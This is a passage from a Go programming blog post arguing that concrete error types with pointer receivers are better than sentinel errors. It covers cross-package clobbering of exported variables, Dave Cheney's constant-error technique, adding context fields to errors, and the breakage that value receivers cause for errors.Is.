not be compelling enough for you to favour concrete error types over sentinel
values. What else is there?</p>
<h2 id="non-reassignability">Non-reassignability <a href="#non-reassignability">¶</a></h2>
<p>Despite continuous improvement from one minor release to the next, the Go
programming language still has warts. One particularly unfortunate affordance
is that any package can clobber the variables exported by a package it imports:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stdout</span> = <span style="color:#66d9ef">nil</span> <span style="color:#75715e">// 🙄</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;Hello, 世界&#34;</span>) <span style="color:#75715e">// prints nothing</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And because cross-package reassignment of exported variables is possible, at
least some people are likely to depend on it. Take heed of <a href="https://www.hyrumslaw.com/" target="_blank" rel="noopener">Hyrum Wright&rsquo;s
eternal words</a>, which extend to language design:</p>
<blockquote>
<p>With a sufficient number of users of an API,
it does not matter what you promise in the contract:
all observable behaviors of your system
will be depended on by somebody.</p>
</blockquote>
<p>Although cross-package reassignment of exported variables can prove <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.1:src/testing/run_example.go;l=33" target="_blank" rel="noopener">convenient
for testing</a>, it is fraught with peril:</p>
<ul>
<li>it&rsquo;s a vector for mutable global state, which is best avoided;</li>
<li>it cannot (in general) be performed in a concurrency-safe manner.</li>
</ul>
<p>Sentinel errors, being exported variables, are not immune to cross-package
reassignment, which can lead to frightful results.  For example, assigning
<code>nil</code> to <a href="https://pkg.go.dev/io#EOF" target="_blank" rel="noopener">&ldquo;pseudo-error&rdquo; <code>io.EOF</code></a> would break most implementations of
<a href="https://pkg.go.dev/io#Reader" target="_blank" rel="noopener"><code>io.Reader</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">p</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;io&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">init</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">EOF</span> = <span style="color:#66d9ef">nil</span> <span style="color:#75715e">// 😱</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>You could argue that nobody in their right mind would ever do this, or that
<a href="https://github.com/curioswitch/go-reassign" target="_blank" rel="noopener">code analysers could be written to detect cross-package
clobbering</a>, and you&rsquo;d be mostly right.  Deplorably, at the time
of writing, neither <a href="https://staticcheck.dev/" target="_blank" rel="noopener">staticcheck</a> nor <a href="https://github.com/google/capslock" target="_blank" rel="noopener">capslock</a>
implement checks for such abuse.  Besides, forbidding such abuse at <em>compile
time</em> would be more satisfying.</p>
<h3 id="dave-cheneys-constant-errors-approach">Dave Cheney&rsquo;s &ldquo;constant errors&rdquo; approach <a href="#dave-cheneys-constant-errors-approach">¶</a></h3>
<p>Before I explain why concrete error types fit that bill too, I have to mention
prior art.  In <a href="https://www.youtube.com/watch?v=pN_lm6QqHcw" target="_blank" rel="noopener">his dotGo 2019 talk</a> and <a href="https://dave.cheney.net/2019/06/10/constant-time" target="_blank" rel="noopener">its companion blog
post</a> (which both predate <a href="https://tip.golang.org/doc/go1.13" target="_blank" rel="noopener">Go 1.13</a>), <a href="https://dave.cheney.net" target="_blank" rel="noopener">Dave
Cheney</a> <a href="https://dave.cheney.net/2016/04/07/constant-errors" target="_blank" rel="noopener">revisits</a> one of his ideas: an
ingenious (though ultimately flawed) alternative technique for declaring
sentinel errors in a such a way that they cannot be clobbered.</p>
<p>In Go, <a href="https://go.dev/ref/spec#Constants" target="_blank" rel="noopener">constants</a> are values known at compile time and are limited
to numbers, booleans, and strings.  Interface type <code>error</code> doesn&rsquo;t fit in any
of those categories; no value of type <code>error</code> can be declared as a constant:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ErrInvalidUsername</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;invalid username&#34;</span>) <span style="color:#75715e">// ❌ compilation error</span>
</span></span></code></pre></div><p>Dave&rsquo;s approach consists in declaring a (non-exported) type based on <code>string</code>
(therefore compatible with constants), equip that type with an <code>Error</code> method
(using a value receiver) so as to make it satisfy the <code>error</code> interface, and
use that type as a vessel for declaring sentinel errors within the package of
interest:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">bsError</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">e</span> <span style="color:#a6e22e">bsError</span>) <span style="color:#a6e22e">Error</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> string(<span style="color:#a6e22e">e</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ErrInvalidUsername</span> <span style="color:#a6e22e">bsError</span> = <span style="color:#e6db74">&#34;invalid username&#34;</span>
</span></span></code></pre></div><p>Clobbering symbol <code>ErrInvalidUsername</code> is then impossible:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">p</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;example.com/bluesky&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">init</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">ErrInvalidUsername</span> = <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#75715e">// ❌ compilation error</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Although this approach achieves its stated goal, it is no panacea:</p>
<ol>
<li>Symbol <code>ErrInvalidUsernam</code> now is of some non-exported type;
I think most Gophers would agree that choosing a
non-exported type for an exported member of one&rsquo;s package is unidiomatic.
The standard library itself only contains a handful of such declarations,
and I do wonder whether its maintainers regret, in retrospect, ever
introducing them&hellip;</li>
<li>Because there cannot be constants of type <code>*string</code>, type <code>bsError</code> must use
a value receiver in its <code>Error</code> method; therefore, comparing two <code>bsError</code>
values involves a byte-by-byte comparison of their underlying <code>string</code> values,
and such string comparison is more expensive than a simple pointer comparison.</li>
</ol>
<p>Incidentally, the design of <a href="https://pkg.go.dev/syscall#Errno" target="_blank" rel="noopener"><code>syscall.Errno</code></a> is remarkably
similar in spirit to Dave&rsquo;s constant-error type but suffers from neither of the
two shortcomings listed above.</p>
<p>Dave&rsquo;s approach has been and remains popular among some Gophers; for instance,
<a href="https://github.com/dylan-bourque" target="_blank" rel="noopener">Dylan Bourque</a>, a respected member of the Go community and frequent
host of the new Go-themed <a href="https://fallthrough.transistor.fm" target="_blank" rel="noopener">Fallthrough podcast</a>, <a href="https://gophers.slack.com/archives/C88U9BFDZ/p1743415911197959" target="_blank" rel="noopener">still counts
himself as a fan of it</a>.  As far as I&rsquo;m concerned, though, the
unidiomatic and inefficient nature of Dave&rsquo;s approach is reason enough to
discourage its use.</p>
<hr>
<p>Allow me a short digression.  Although I generally enjoy and agree with Dave&rsquo;s
output, I&rsquo;m at odds with another idea that he puts forward in his dotGo talk.
As he extols Go&rsquo;s constants system, Dave fixates on one property of untyped
constants, one he refers to as &ldquo;<a href="https://www.youtube.com/watch?v=pN_lm6QqHcw&amp;t=735s" target="_blank" rel="noopener">fungibility</a>&rdquo;. By a perplexing
leap of logic, Dave concludes that sentinel errors too ought to be fungible,
and laments that the identity of error-factory function <code>errors.New</code>&rsquo;s results
cannot be reduced to their error messages:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">err1</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;oh no&#34;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">err2</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;oh no&#34;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">err1</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">err2</span>) <span style="color:#75715e">// false (to Dave&#39;s chagrin)</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>However, as <a href="https://chaos.social/@Merovius" target="_blank" rel="noopener">Axel Wagner (a.k.a. Merovius)</a> <a href="https://www.reddit.com/r/golang/comments/bgg4zs/comment/elkuppg/" target="_blank" rel="noopener">astutely points out on
Reddit</a>, the behaviour that Dave wishes for would have
undesirable effects, so much so that <code>errors.New</code>&rsquo;s test suite
includes <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.1:src/errors/errors_test.go;l=12" target="_blank" rel="noopener">an inequality check</a>.</p>
<hr>
<p>Preventing clobbering is a laudable goal, but it can be achieved in other
ways. Leave constants aside for a moment&hellip; Can you think of something else
that cannot be &ldquo;clobbered&rdquo;?  That&rsquo;s right: types themselves!</p>
<h3 id="types-cannot-be-clobbered">Types cannot be &ldquo;clobbered&rdquo; <a href="#types-cannot-be-clobbered">¶</a></h3>
<p>Type declarations like <a href="#concrete-error-types"><code>InvalidUsernameError</code>&rsquo;s and
<code>UnknownAvailabilityError</code>&rsquo;s</a> simply cannot be modified
in any way by clients of your package:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">p</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;example.com/bluesky&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">init</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">InvalidUsernameError</span> = <span style="color:#66d9ef">struct</span>{}     <span style="color:#75715e">// ❌ compilation error</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">UnknownAvailabilityError</span> = <span style="color:#66d9ef">struct</span>{} <span style="color:#75715e">// ❌ compilation error</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Easy-peasy! But such concrete error types have one more ace up their sleeve&hellip;</p>
<h2 id="extensibility">Extensibility <a href="#extensibility">¶</a></h2>
<p>A sentinel error cannot carry information about the failure beyond its
identity. For example, <code>io.EOF</code> indicates that a source of bytes has been
exhausted, but it doesn&rsquo;t say <em>which</em> source of bytes; and this omission is
tolerable in good ol&rsquo; <code>io.EOF</code>&rsquo;s case.</p>
<p>But some failure cases beg, <a href="https://github.com/golang/go/issues/5465#issuecomment-1127980361" target="_blank" rel="noopener">at one stage or another</a>, for
contextual information.  In a later version of your <code>bluesky</code> package, you may
well want to allow callers of <code>bluesky.IsAvailable</code> to programmatically
interrogate that function&rsquo;s <code>error</code> result in more detail. Legitimate questions
include the following:</p>
<ul>
<li>What username was being queried when this failure occurred?</li>
<li>What is the underlying cause of the failure? An expected status code? A
failed request? Something else?</li>
</ul>
<p>The error types that I&rsquo;ve been advocating <a href="#concrete-error-types">since the beginning of this
post</a> can easily accommodate additional fields carrying
contextual information about the failure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> package bluesky
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> import (
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  &#34;errors&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  &#34;fmt&#34;
</span></span></span><span style="display:flex;"><span>   &#34;math/rand/v2&#34;
</span></span><span style="display:flex;"><span> )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-type InvalidUsernameError struct{}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+type InvalidUsernameError struct {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Username string
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-func (*InvalidUsernameError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-  return &#34;invalid username&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e *InvalidUsernameError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return fmt.Sprintf(&#34;invalid username %q&#34;, e.Username)
</span></span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-type UnknownAvailabilityError struct{}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+type UnknownAvailabilityError struct {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Username string
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Cause    error
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-func (*UnknownAvailabilityError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-  return &#34;unknown availability&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e *UnknownAvailabilityError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return fmt.Sprintf(&#34;unknown availability of %q&#34;, e.Username)
</span></span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e *UnknownAvailabilityError) Unwrap() error {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return e.Cause
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> func IsAvailable(username string) (bool, error) {
</span></span><span style="display:flex;"><span>   // actual implementation omitted
</span></span><span style="display:flex;"><span>   switch rand.IntN(3) {
</span></span><span style="display:flex;"><span>   case 0:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-  return false, new(InvalidUsernameError)
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return false, &amp;InvalidUsernameError{
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    Username: username,
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  }
</span></span></span><span style="display:flex;"><span>   case 1:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-    return false, new(UnknownAvailabilityError)
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    return false, &amp;UnknownAvailabilityError{
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      Username: username,
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      Cause:    errors.New(&#34;oh no&#34;),
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    }
</span></span></span><span style="display:flex;"><span>   default:
</span></span><span style="display:flex;"><span>     return false, nil
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>Those changes would allow clients to extract such contextual information.
Moreover, those changes would not break any client! Existing calls to
<code>errors.As</code> or to the faster <code>errutil.Find</code> that target <code>bluesky</code>&rsquo;s concrete
error types would continue to work as before.
This example may be enough to convince you that such struct-based concrete
error types are good for future-proofing your packages.</p>
<hr>
<p>Edit (2025-04-06): A recent enough example of such an approach in the standard
library is type <a href="https://pkg.go.dev/net/http#MaxBytesError" target="_blank" rel="noopener"><code>http.MaxBytesError</code></a>; for a discussion about its
design, see <a href="https://go.dev/issue/30715" target="_blank" rel="noopener">issue #30715</a> and <a href="https://changelog.com/gotime/240#transcript-103" target="_blank" rel="noopener">episode #240 of
the Go Time podcast</a>.</p>
<hr>
<h3 id="on-the-importance-of-using-a-pointer-receiver">On the importance of using a pointer receiver <a href="#on-the-importance-of-using-a-pointer-receiver">¶</a></h3>
<p>In the multiverse of design choices, let&rsquo;s turn our gaze to a universe in which you instead
used a value receiver for the <code>Error</code> method of your error types:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;math/rand/v2&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">InvalidUsernameError</span> <span style="color:#66d9ef">struct</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">InvalidUsernameError</span>) <span style="color:#a6e22e">Error</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;invalid username&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">UnknownAvailabilityError</span> <span style="color:#66d9ef">struct</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">UnknownAvailabilityError</span>) <span style="color:#a6e22e">Error</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;unknown availability&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">IsAvailable</span>(<span style="color:#a6e22e">username</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">bool</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// actual implementation omitted</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">rand</span>.<span style="color:#a6e22e">IntN</span>(<span style="color:#ae81ff">3</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">InvalidUsernameError</span>{}
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">UnknownAvailabilityError</span>{}
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Note that your clients would then be free to rely on <code>errors.Is</code> (or even a
direct comparison) rather than on <code>errors.As</code> or <code>errutil.Find</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">avail</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">IsAvailable</span>(<span style="color:#e6db74">&#34;🤪&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">InvalidUsernameError</span>{}) { <span style="color:#75715e">// true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Assume that you then augment your concrete error types with additional fields:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> package bluesky
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> import (
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  &#34;errors&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  &#34;fmt&#34;
</span></span></span><span style="display:flex;"><span>   &#34;math/rand/v2&#34;
</span></span><span style="display:flex;"><span> )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-type InvalidUsernameError struct{}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+type InvalidUsernameError struct {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Username string
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-func (InvalidUsernameError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-  return &#34;invalid username&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e InvalidUsernameError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return fmt.Sprintf(&#34;invalid username %q&#34;, e.Username)
</span></span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-type UnknownAvailabilityError struct{}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+type UnknownAvailabilityError struct {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Username string
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Cause    error
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-func (UnknownAvailabilityError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-  return &#34;unknown availability&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e UnknownAvailabilityError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return fmt.Sprintf(&#34;unknown availability of %q&#34;, e.Username)
</span></span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e UnknownAvailabilityError) Unwrap() error {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return e.Cause
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> func IsAvailable(username string) (bool, error) {
</span></span><span style="display:flex;"><span>   // actual implementation omitted
</span></span><span style="display:flex;"><span>   switch rand.IntN(3) {
</span></span><span style="display:flex;"><span>   case 0:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-  return false, InvalidUsernameError{}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return false, InvalidUsernameError{
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    Username: username,
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  }
</span></span></span><span style="display:flex;"><span>   case 1:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-    return false, UnknownAvailabilityError{}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    return false, UnknownAvailabilityError{
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      Username: username,
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      Cause:    errors.New(&#34;oh no&#34;),
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    }
</span></span></span><span style="display:flex;"><span>   default:
</span></span><span style="display:flex;"><span>     return false, nil
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>Unfortunately, such changes would break clients who rely on <code>errors.Is</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">avail</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">IsAvailable</span>(<span style="color:#e6db74">&#34;🤪&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">InvalidUsernameError</span>{}) { <span style="color:#75715e">// false</span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This example should be enough to convince you to use a pointer receiver for
the <code>Error</code> method of your concrete error types.</p>
<hr>
<p>Edit (2025-04-02): After getting some feedback from Axel Wagner on this section
of the post, I feel compelled to mention another (perhaps even more crucial)
strength of pointer receivers: contrary to <a href="https://go.dev/play/p/IYx2C6Y2YY0" target="_blank" rel="noopener">value receivers</a>, <a href="https://go.dev/play/p/-nf8kRYoxBi" target="_blank" rel="noopener">pointer
receivers</a> lift the ambiguity as to which target type should be used
in type assertions and calls to <code>errors.As</code> or <code>errutil.Find</code>.</p>
<hr>
<h3 id="transitioning-away-from-sentinel-errors-is-precarious">Transitioning away from sentinel errors is precarious <a href="#transitioning-away-from-sentinel-errors-is-precarious">¶</a></h3>
<p>If you started with sentinel errors, be ready to carry that burden for a long
time; until the next major-version release of your <code>bluesky</code> package, at the
very least.  Admittedly, if you&rsquo;re lucky and all of your clients happen to rely
on <code>errors.Is</code> rather than on a direct comparison (with <code>==</code> or <code>!=</code>), you
could leverage <a href="https://pkg.go.dev/errors#Is" target="_blank" rel="noopener"><code>Is</code> methods</a> (whose existence <code>errors.Is</code> checks
for) to safely transition to concrete error types:</p>
